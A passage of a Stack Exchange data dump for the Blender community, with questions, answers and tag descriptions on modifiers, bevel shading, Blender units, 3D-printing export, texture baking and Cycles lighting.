effectively.&lt;/li&gt;&#xA;&lt;li&gt;It's faster to do and gives you more control when compared to other methods such as using creases and or subsurf with edgeloops.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;At the time of writing, this is now easier than ever. Cycles will have a &lt;em&gt;Bevel Shader&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Example from &lt;a href=&quot;https://twitter.com/themikepan/status/902959559664218112&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mike Pan on twitter&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/osCFV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/osCFV.jpg&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Resource links&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Example renders &lt;a href=&quot;https://developer.blender.org/D2803#65805&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.blender.org/D2803#65805&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Discussion thread &lt;a href=&quot;https://blenderartists.org/forum/showthread.php?436279-V-ray-got-rounded-hard-edge-shader&amp;amp;p=3230688#post3230688&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blenderartists.org/forum/showthread.php?436279-V-ray-got-rounded-hard-edge-shader&amp;amp;p=3230688#post3230688&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;More discussion and examples &lt;a href=&quot;http://polycount.com/discussion/comment/2570081/#Comment_2570081&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://polycount.com/discussion/comment/2570081/#Comment_2570081&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12" LastEditorUserId="15924" LastEditDate="2020-10-12T19:30:03.910" LastActivityDate="2020-10-12T19:30:03.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="249" PostTypeId="5" CreationDate="2013-05-24T02:41:56.130" Score="0" Body="&lt;p&gt;Modifiers are automatic operations that affect an object’s geometry in a non-destructive way. With modifiers, you can perform many effects automatically that would otherwise be too tedious to do manually (such as subdivision surfaces) and without affecting the base geometry of your object.&lt;/p&gt;&#xA;&lt;p&gt;There are four groups of Modifiers:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/index.html#modify&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Modify&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&#xA;Modifiers in the &lt;em&gt;Modify&lt;/em&gt; group act simpler than those in the &lt;em&gt;Deform&lt;/em&gt; group without directly affecting the objects shape, rather than affecting some data.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/index.html#generate&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Generate&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&#xA;The &lt;em&gt;Generate&lt;/em&gt; group of modifiers directly modifies the shape and/or &lt;em&gt;Topology&lt;/em&gt; of an object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/index.html#deform&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Deform&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&#xA;The modifiers in the &lt;em&gt;Deform&lt;/em&gt; group affect only the shape of an object without changing its &lt;em&gt;Topology&lt;/em&gt;. These modifiers are often available for types of objects other than &lt;em&gt;Mesh&lt;/em&gt; objects such as curves, text objects, and so on.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/index.html#physics&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Physics&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;em&gt;Physics&lt;/em&gt; modifiers are mainly used (except for the &lt;em&gt;Explode&lt;/em&gt;, &lt;em&gt;Ocean&lt;/em&gt;, and &lt;em&gt;Particle Instance&lt;/em&gt; modifiers) to define where in the &lt;em&gt;Modifier Stack&lt;/em&gt; a physics simulation takes place.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Blender's Modifiers are listed in the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/index.html#modifiers&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/introduction.html#the-modifier-stack&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Modifier Stack&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&#xA;Blender's modifier system is handled in a &amp;quot;stack&amp;quot; that can be thought of as a sort of assembly line. Each modifier is a process that is fed the outputted object of the modifier above it and in turn modifies and outputs that object to the next modifier in line or, if no more modifiers exist below it, as the final result.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-22T09:26:08.220" LastActivityDate="2020-10-22T09:26:08.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="250" PostTypeId="4" CreationDate="2013-05-24T02:41:56.130" Score="0" Body="Modifiers are automatic operations that affect an object in a non-destructive way. Use this tag for questions pertaining to modifiers and their usage inside of Blender. " OwnerUserId="12" LastEditorUserId="15924" LastEditDate="2020-10-22T09:24:38.800" LastActivityDate="2020-10-22T09:24:38.800" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="251" PostTypeId="5" CreationDate="2013-05-24T02:50:19.953" Score="0" Body="&lt;p&gt;Read more about rigging in the &lt;a href=&quot;http://www.blender.org/manual/rigging/introduction.html&quot; rel=&quot;nofollow&quot;&gt;Blender Manual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="599" LastEditDate="2015-06-03T08:52:11.333" LastActivityDate="2015-06-03T08:52:11.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="252" PostTypeId="4" CreationDate="2013-05-24T02:50:19.953" Score="0" Body="Rigging is the process used in computer animation, particularly in the animation of characters, to efficiently mimic real world skeletal systems for animation purposes. Use this tag for questions about armatures and rigging questions/issues." OwnerUserId="12" LastEditorUserId="12805" LastEditDate="2015-05-21T00:03:22.013" LastActivityDate="2015-05-21T00:03:22.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="253" PostTypeId="1" AcceptedAnswerId="255" CreationDate="2013-05-24T02:56:41.803" Score="20" ViewCount="5202" Body="&lt;p&gt;What exports, if any, does blender have for 3d printers?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be sort of a list question, but I feel it could be horribly useful.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="72" LastEditDate="2013-05-24T03:48:46.903" LastActivityDate="2018-01-23T22:43:48.830" Title="What exports does blender have for 3d printers?" Tags="&lt;export&gt;&lt;3d-printing&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="254" PostTypeId="1" AcceptedAnswerId="258" CreationDate="2013-05-24T02:59:30.753" Score="63" ViewCount="21851" Body="&lt;p&gt;If I'm using blender game engine, how do blender units work in relation to gravity, acceleration, or weight?  Is there a rough physical world equivalent?&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="14" LastEditDate="2013-05-24T13:58:20.710" LastActivityDate="2014-07-17T22:18:40.860" Title="How do blender units and meters, feet, or yards correlate?" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;units&gt;&lt;measurement&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="20" ContentLicense="CC BY-SA 3.0" />
  <row Id="255" PostTypeId="2" ParentId="253" CreationDate="2013-05-24T03:16:59.483" Score="21" Body="&lt;p&gt;When considering 3d printing, you should be more concerned with your mesh topology than an actual output format. &lt;a href=&quot;https://www.youtube.com/watch?v=ZnCf-5G7DYc&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlenderCookie&lt;/a&gt; has a tutorial on preparing a model for 3d printing. An application or company that does this will take anything from &lt;code&gt;.ply&lt;/code&gt; to &lt;code&gt;.obj&lt;/code&gt; as all these formats do is hold mesh data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is also an extensive &lt;a href=&quot;http://libregraphicsworld.org/blog/entry/blender-dives-into-3d-printing-indistry&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt; on &lt;em&gt;(recently new)&lt;/em&gt; official support for 3d printing in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So as for a definitive answer to this question.&lt;/strong&gt; 3d printing giants &lt;a href=&quot;http://www.shapeways.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shapeways&lt;/a&gt; make mention of &lt;code&gt;.STL&lt;/code&gt; in this &lt;a href=&quot;http://www.shapeways.com/tutorials/prepping_blender_files_for_3d_printing&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Finally, export to STL. When uploading the file, make sure to select&#xA;  &quot;millimeters&quot; for scale. If all went well, it'll upload, and you'll&#xA;  get notified that it's ready for printing. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and there is a set of tools called &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/PrintToolbox&quot; rel=&quot;nofollow noreferrer&quot;&gt;3D Printing Toolbox&lt;/a&gt; available for Blender that assists with the overall process. &lt;em&gt;Statistics/Cleanup/Export etc&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enable the addon in Blender from the &lt;em&gt;Mesh&lt;/em&gt; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kjnVH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a &lt;a href=&quot;http://www.blender3d.org/e-shop/product_info_n.php?products_id=160&quot; rel=&quot;nofollow noreferrer&quot;&gt;DVD&lt;/a&gt; on the Blender eShop on 3d printing. It is very modern and up to date.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="2217" LastEditDate="2015-11-21T23:53:31.437" LastActivityDate="2015-11-21T23:53:31.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="256" PostTypeId="1" AcceptedAnswerId="554" CreationDate="2013-05-24T03:52:15.917" Score="8" ViewCount="8611" Body="&lt;h2&gt;&lt;em&gt;Update, in 2.71 and newer, there is no longer a limitation&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I like to use Matcaps as they greatly improve the viewport performance and are good when editing to get an idea of what the object looks like textured. However, if I have multiple objects, only the selected object shows the Matcap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use Matcaps for all objects, and not just the one selected?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="55" LastEditDate="2014-10-02T06:54:10.880" LastActivityDate="2018-11-12T15:42:10.253" Title="Can matcaps be used for all objects and not just selected objects?" Tags="&lt;3d-view&gt;&lt;matcaps&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="257" PostTypeId="2" ParentId="254" CreationDate="2013-05-24T03:52:56.300" Score="19" Body="&lt;p&gt;&lt;em&gt;By default&lt;/em&gt;, 1 BU = 1 meter. Proof: the strength of gravity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cpPyi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Earth's gravity is about 9.81 m/s&lt;sup&gt;2&lt;/sup&gt; (or 32 ft/s&lt;sup&gt;2&lt;/sup&gt;, if you prefer) downwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you aren't using any physics simulations, 1 BU can be anything you like, and if you're using physics simulations, then you can tweak the strength of gravity anyway to match with the scale you've chosen.&lt;/p&gt;&#xA;" OwnerUserId="21" LastEditorUserId="187" LastEditDate="2013-05-29T20:04:06.703" LastActivityDate="2013-05-29T20:04:06.703" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="258" PostTypeId="2" ParentId="254" CreationDate="2013-05-24T04:07:47.357" Score="54" Body="&lt;h1&gt;Blender units&lt;/h1&gt;&#xA;&lt;p&gt;The Blender units system is a decimal unit system that can be whatever you want it to be. By default, it's implicitly considered meters. If you go to the scene tab in the properties panel, then to the gravity section, you can see that the rate of acceleration due to gravity is (0.000, 0.000, -9.810). 9.810 is the rate of acceleration in meters per second squared. So as you can see, it's implicitly considered meters. Now, if you change this value to -.0981 and every rigidbody's mass to &lt;sup&gt;1&lt;/sup&gt;⁄&lt;sub&gt;100&lt;/sub&gt; of what it was, you would now be working in centimeters and grams (or the &lt;a href=&quot;http://en.wikipedia.org/wiki/Centimetre%E2%80%93gram%E2%80%93second_system_of_units&quot; rel=&quot;noreferrer&quot;&gt;cgs system&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;h1&gt;Metric units&lt;/h1&gt;&#xA;&lt;p&gt;First off, let me start by defining a list of metric measurements that Blender uses.&lt;/p&gt;&#xA;&lt;p&gt;&lt;b&gt;Length&lt;/b&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(km) kilometer [1000 meters]&lt;/li&gt;&#xA;&lt;li&gt;(m) meter&lt;/li&gt;&#xA;&lt;li&gt;(cm) centimeter [&lt;sup&gt;1&lt;/sup&gt;⁄&lt;sub&gt;100&lt;/sub&gt; meter]&lt;/li&gt;&#xA;&lt;li&gt;(mm) millimeters [&lt;sup&gt;1&lt;/sup&gt;⁄&lt;sub&gt;1000&lt;/sub&gt; meter]&lt;/li&gt;&#xA;&lt;li&gt;(µm) micrometers [&lt;sup&gt;1&lt;/sup&gt;⁄&lt;sub&gt;100000000&lt;/sub&gt; meter]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;b&gt;Mass&lt;/b&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(ton) metric ton [1000 kilograms]&lt;/li&gt;&#xA;&lt;li&gt;(kg) kilogram&lt;/li&gt;&#xA;&lt;li&gt;(g) gram [&lt;sup&gt;1&lt;/sup&gt;⁄&lt;sub&gt;1000&lt;/sub&gt; kilogram]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If you go to the units section in the scene tab, you can see that there are three different options (&amp;quot;None, Metric, Imperial&amp;quot;). &amp;quot;None&amp;quot; is Blender units. If you select metric units, Blender will explicitly use metric units. Check back in the physics panel, and you'll now see (0m/s&lt;sup&gt;2&lt;/sup&gt;, 0m/s&lt;sup&gt;2&lt;/sup&gt;, -9.81m/s&lt;sup&gt;2&lt;/sup&gt;).&lt;/p&gt;&#xA;&lt;p&gt;For another example, select a mesh and hit &lt;kbd&gt;n&lt;/kbd&gt; in the scene view to bring up the properties panel, go to the transform section and then dimensions. If you change one of the x, y, or z dimensions to a large number, you will see that it now uses the kilometers instead of meters. And if you change it to a ridiculously small number, like .000002, it will use micrometers.&lt;/p&gt;&#xA;&lt;h1&gt;Imperial units&lt;/h1&gt;&#xA;&lt;p&gt;Imperial units are the worst to work with. Also known as the British units. This is what backward America uses. Let me again define the units that Blender utilizes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;b&gt;Length&lt;/b&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(mi) mile [5280 feet]&lt;/li&gt;&#xA;&lt;li&gt;(ft) foot [also symbolized with a single quote: &lt;code&gt;'&lt;/code&gt;]&lt;/li&gt;&#xA;&lt;li&gt;(in) inch [&lt;sup&gt;1&lt;/sup&gt;⁄&lt;sub&gt;12&lt;/sub&gt; foot] [also symbolized with double quote: &lt;code&gt;&amp;quot;&lt;/code&gt;]&lt;/li&gt;&#xA;&lt;li&gt;thou or mil [&lt;sup&gt;1&lt;/sup&gt;⁄&lt;sub&gt;12000&lt;/sub&gt; foot]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;b&gt;Mass (technically weight)&lt;/b&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ton [2000 pounds]&lt;/li&gt;&#xA;&lt;li&gt;(lb) pound&lt;/li&gt;&#xA;&lt;li&gt;(oz) ounce [&lt;sup&gt;1&lt;/sup&gt;⁄&lt;sub&gt;16&lt;/sub&gt; pound]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Separate units&lt;/h2&gt;&#xA;&lt;p&gt;If you are using metric or imperial units, you can use the 'separate units' checkbox which makes Blender separate out a unit of measurement into two separate units of measurement of the same system.&lt;/p&gt;&#xA;&lt;p&gt;For example, without 'separate units' toggled, a field might display something like &lt;code&gt;2.538m&lt;/code&gt;. But with 'separate units' toggled, it would display &lt;code&gt;2m 53.8cm&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Scripting&lt;/h2&gt;&#xA;&lt;p&gt;One thing you should note is that when working with scripts, and you use a function like &lt;code&gt;bpy.ops.mesh.primitive_cube_add(location=(1.0, 1.5, 2.0))&lt;/code&gt;, which creates and positions a cube, the values are in Blender units even if you are working in metric or imperial. So this function, when using the imperial system, would place a cube at (3.281', 4.921', 6.562') or &lt;br /&gt; (3' 3.37&amp;quot;, 4' 11.1&amp;quot;, 6' 6.74&amp;quot;) with separate units.&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-05-31T02:23:33.517" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="259" PostTypeId="2" ParentId="247" CreationDate="2013-05-24T04:13:31.067" Score="20" Body="&lt;p&gt;The Bevel method iKlsR mentioned is the fastest way, but possibly the most realistic method is to use two subdivision modifiers.&lt;/p&gt;&#xA;&lt;h2&gt;Using Subdivisions:&lt;/h2&gt;&#xA;&lt;p&gt;You need to have two subdivision modifiers, one as &amp;quot;Simple&amp;quot; (the first one in the stack) and the other as &amp;quot;Catmull-Clark&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RqOD6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NB:&lt;/strong&gt; Subdivision modifiers are pretty heavy on viewport rendering, so if you don't need to see the final results when modelling, you can turn the number of divisions down.&lt;/p&gt;&#xA;&lt;p&gt;Here is an example:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1lvfC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can tweak the modifiers to get the results that work best for you. You can also use this along with the bevel method as it provides even more realism, though I must warn you, you need pretty good hardware to handle this in real time.&lt;/p&gt;&#xA;&lt;p&gt;Here is an example with an actual, useful model (a Helicopter):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0Zamb.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Rendered version:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IHWB6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Why Simple + Catmull-Clark?&lt;/h3&gt;&#xA;&lt;p&gt;Simple subdivision preserves the shape of your object, and in fact &amp;quot;enforces&amp;quot; the corners and &amp;quot;hard&amp;quot; areas of the object. However, it won't always give you a natural look. Catmull-Clark smooths as it subdivides, which is something you could do manually, but it is better with the modifier unless you want control over just which vertices/edges/faces are affected.&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-05-24T19:09:45.720" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="260" PostTypeId="1" AcceptedAnswerId="264" CreationDate="2013-05-24T04:23:51.110" Score="12" ViewCount="4994" Body="&lt;p&gt;I've often wanted to use procedural textures for UVs, but it seems that there is no simple way to do this from within the application. Is there some standard way to achieve this without first rendering a bunch of images and then stitching?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="12" LastEditDate="2013-05-30T06:17:09.173" LastActivityDate="2013-05-30T06:17:09.173" Title="Is there a way to convert procedural textures to UV maps without rendering a final image first?" Tags="&lt;uv&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="261" PostTypeId="1" AcceptedAnswerId="500" CreationDate="2013-05-24T04:40:04.573" Score="14" ViewCount="9561" Body="&lt;p&gt;I've noticed that if I have an existing scene setup for Blender Internal and I switch to cycles, the lighting is completely off. I sometimes have had to start a new scene and import the models I want from the previous scene to get the lighting to work.&#xA;What is different in the way they work?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="6204" LastEditDate="2014-12-16T01:04:00.757" LastActivityDate="2019-03-12T19:52:12.297" Title="What are the differences between lamps in Cycles and Blender Internal?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;light&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="262" PostTypeId="2" ParentId="261" CreationDate="2013-05-24T05:30:01.347" Score="5" Body="&lt;p&gt;In Cycles, part of the way that lights work is through an emission shader; unlike BI which uses lighting primarily from points, the way Cycles works is friendly to the concept of physical objects emitting light; this leads to incompatibilities because traditional &quot;lights&quot; don't physically occupy space, and sometimes seem to confuse Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, Cycles is a more complex render; light bounces around off of even diffuse surfaces, meaning that a scene that is not enclosed or that is enclosed with objects that are likely to bounce back unexpected light (for instance, a normal outdoors scene within a large magenta cube), may wind up causing different results than were originally anticipated.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-05-24T05:30:01.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="264" PostTypeId="2" ParentId="260" CreationDate="2013-05-24T05:48:50.603" Score="11" Body="&lt;p&gt;The only way to do this is to bake the render into an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this requires you to first unwrap the mesh with non-overlapping coordinates ('Smart project' or 'Lightmap Pack' can help here to save doing it manually).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, this process could be automated through a script (probably someone has done this before, its not so hard to do for someone already familiar with our API).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all selected objects:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add UV layer&lt;/li&gt;&#xA;&lt;li&gt;Unwrap.&lt;/li&gt;&#xA;&lt;li&gt;Bake textures into the image.&lt;/li&gt;&#xA;&lt;li&gt;Save each image to a name based on the object.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="72" LastEditDate="2013-05-24T16:44:00.537" LastActivityDate="2013-05-24T16:44:00.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="265" PostTypeId="2" ParentId="67" CreationDate="2013-05-24T06:18:56.237" Score="11" Body="&lt;p&gt;An alternative method to reverse an operation is to add 2 shape keys, enter editmode with with a non-basis shape, edit the mesh (smooth it for example), exit editmode, then slide the shape key to a negative value you can then optionally apply it to the base mesh.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-05-24T06:18:56.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="266" PostTypeId="2" ParentId="121" CreationDate="2013-05-24T06:37:15.377" Score="19" Body="&lt;p&gt;If you wanted to export a simple model such as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GhBCM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as a .obj file that is compatible with OpenGL or another 3D graphics platform then all you do is go to export:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AvBrQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for the export options in the toolbar in the bottom left corner. This will allow you to choose the specifications for the output file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WFgPs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The options I am using above are compatible with OpenGL ES, you may have to adjust your properties accordingly. This type of export will produce a .obj file (geometry file) and a .mtl file (materials and textures file).&lt;/p&gt;&#xA;" OwnerUserId="84" LastActivityDate="2013-05-24T06:37:15.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="267" PostTypeId="1" CreationDate="2013-05-24T06:53:42.023" Score="9" ViewCount="2171" Body="&lt;p&gt;I am trying to make an alka-zeltzer in a glass, creating bubbles that form a logo on the water surface. To do this I am using keyed particles and everything works fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would like to have the particle's (object) size scale over each particle's lifetime. This is where I fail. I know the trick using a texture block with a color blend driving the particle's size, maybe against an object for mapping. It seems though that when using keyed particles, this is just ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if I can get to a driver for the particle lifetime or age, as they must exist, because they are available as outputs on the particle-info node within cycles.&#xA;Maybe I'm getting ahead of myself. This may be particle nodes territory. Is there a way around this?&lt;/p&gt;&#xA;" OwnerUserId="121" LastEditorUserId="6204" LastEditDate="2016-12-19T18:53:26.877" LastActivityDate="2016-12-19T18:53:26.877" Title="How can I scale particle size over lifetime within a keyed physics system" Tags="&lt;particles&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="268" PostTypeId="1" AcceptedAnswerId="282" CreationDate="2013-05-24T06:57:58.530" Score="10" ViewCount="8221" Body="&lt;p&gt;If I have a scene that I want to add a bounding box to that makes it look like it is outside during the day. In the past I have just added a big UV Sphere to my scene that surrounds the entire scene and added a texture that looks like a sky. This is a bit clunky and it can appear that the sky is too close and it makes it look fake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way for me to create a background for my scene? Is it possible to make an environment map for the sky? I am using the default Blender renderer.&lt;/p&gt;&#xA;" OwnerUserId="84" LastEditorUserId="12" LastEditDate="2013-05-30T06:15:28.337" LastActivityDate="2013-05-30T06:15:28.337" Title="How to make a sky environment map?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="269" PostTypeId="1" AcceptedAnswerId="271" CreationDate="2013-05-24T07:11:19.307" Score="15" ViewCount="13928" Body="&lt;p&gt;I like to stay up with the latest version of Blender. I use Blender on my Macbook Pro and it is kind of a pain to update Blender because you have to delete it and then re-download it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't a huge deal but is there a way that you can just update Blender without deleting it and re-downloading it every time? It is kind of ridiculous to just re-download the entire program when the new version consists solely of bug patches.&lt;/p&gt;&#xA;" OwnerUserId="84" LastEditorUserId="1245" LastEditDate="2017-07-22T22:34:37.040" LastActivityDate="2018-11-02T13:01:11.993" Title="Is there a way to update Blender without deleting it and downloading the new version?" Tags="&lt;versions&gt;&lt;osx&gt;" AnswerCount="7" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="270" PostTypeId="2" ParentId="269" CreationDate="2013-05-24T07:20:55.380" Score="3" Body="&lt;p&gt;That isn't possible with the binaries. However, you could do that with the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could download the source code from the repository and compile it by yourself. With this method, you only need to download the files that changed. If you choose to do this, you will need to compile Blender each time you update your code which is more time consuming than just installing it.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="20" LastEditDate="2013-05-24T17:17:13.897" LastActivityDate="2013-05-24T17:17:13.897" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
